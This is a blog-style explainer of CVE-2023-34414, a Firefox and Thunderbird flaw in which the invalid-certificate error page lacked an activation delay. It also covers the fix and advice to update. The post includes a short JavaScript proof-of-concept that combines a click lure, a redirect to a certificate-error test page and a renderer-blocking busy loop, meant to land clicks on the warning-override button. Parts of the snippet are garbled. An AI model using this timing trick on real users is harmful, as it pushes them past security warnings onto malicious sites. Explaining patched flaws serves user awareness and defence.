CVE-2023-34414 - How Missing Activation Delay on Firefox Certificate Error Pages Opened the Door to User Exploitation

_Summary:_
In 2023, security researchers discovered CVE-2023-34414, a vulnerability in Firefox and Thunderbird, where the error page for sites with invalid TLS certificates failed to implement a crucial activation-delay. This post explains the vulnerability, how it could be exploited, and versions affected—including code snippets and official references.

Understanding the Vulnerability

Whenever a user tries to visit a website using HTTPS and the TLS certificate is invalid (expired, self-signed, or otherwise sketchy), browsers like Firefox will show a warning page. Usually, this error page requires a deliberate action from the user—like clicking a hidden "Accept the Risk and Continue" button—to proceed to the potentially unsafe website.

Firefox is designed to include an activation delay for certain critical prompts and permission dialogs. This delay (often a fraction of a second) helps protect against "clickjacking" and UI redress attacks—where an attacker tries to trick the user into clicking something dangerous _by hijacking their natural, fast response time_.

In CVE-2023-34414, the error page for invalid TLS certificates was missing this protection.

Technical Details: The Missing Delay

The activation-delay is a simple but powerful defensive mechanism. Without it, a malicious website can try to _predict_ where the user's mouse or touch will be, and time their own page redirects to coincide with a critical button appearing under the user's pointer.

- Simultaneously, the attack keeps the browser "renderer" (the process drawing the web page) extremely busy, to create a lag.
- The user clicks at the expected spot—_just as_ the new error page appears, but before the display is actually refreshed.
- The click lands on the "Accept the Risk and Continue" button, _bypassing the TLS certificate warning_.

Normally, the activation-delay would ensure that any user action is ignored for a brief moment after the error page loads. But here, the button could be activated immediately!

Code Snippet: Simulating the Attack

While we don't advocate actually exploiting this, here’s how a proof-of-concept page might try to exploit this bug:

// Setup a busy loop that keeps the renderer occupied
function busyLoop(ms) {
    const start = Date.now();
    while (Date.now() - start < ms) {}
}

// Place a clickable target at coordinates (x, y)
const clickArea = document.createElement('div');
clickArea.style.position = 'absolute';
clickArea.style.left = '100px';
clickArea.style.top = '200px';
clickArea.style.width = '100px';
clickArea.style.height = '100px';
clickArea.style.background = 'rgba(255, , , .5)';
document.body.appendChild(clickArea);

// Listen for the user's click
clickArea.addEventListener('click', () => {
    // Immediately navigate to the bad-ssl site that triggers the certificate error
    // (NOTE: This is for demonstration; do not use on real sites!)
    location.href = "https://self-signed.badssl.com/";;
    // Keep the browser busy for 400ms to create a gap
    busyLoop(400);
});

This script puts a semi-transparent red target on the page.

- When the user clicks, the page immediately navigates to a site with a certificate error and keeps the renderer busy.
- If the user’s click registers during the "gap," it may land on the error page’s dangerous override button.

Real-World Impact

This bug could enable attackers to _trick users into bypassing security warnings_ almost automatically, especially if they can coerce or lure a fast mouse click at the right spot. In security terms, this is called "prompt hijacking," and it allows attackers to push users onto phishing or malicious sites that should have been blocked.

Fix and Mitigations

Mozilla addressed the problem by reinstating the activation-delay on error pages. Users are strongly encouraged to update to the latest versions. As always, stay cautious about clicking unclear prompts or buttons, especially right after a redirect.

References and Further Reading

- Mozilla Foundation Security Advisory 2023-19
- CVE-2023-34414 on NIST NVD
- badssl.com Testing Grounds (for safe certificate error pages)
- ZDI Blog: On UI Timing Attacks

The Takeaway

CVE-2023-34414 reveals how even the tiniest timing issue can open up significant users risks. Always keep your browsers up to date, and understand that under-the-hood protections like activation-delays exist to keep you safe—even if you never notice them.

_This post was written exclusively for you, in clear and simple terms. Stay safe out there, and keep those browsers updated!_

Timeline

Published on: 06/19/2023 11:15:00 UTC
Last modified on: 06/27/2023 17:02:00 UTC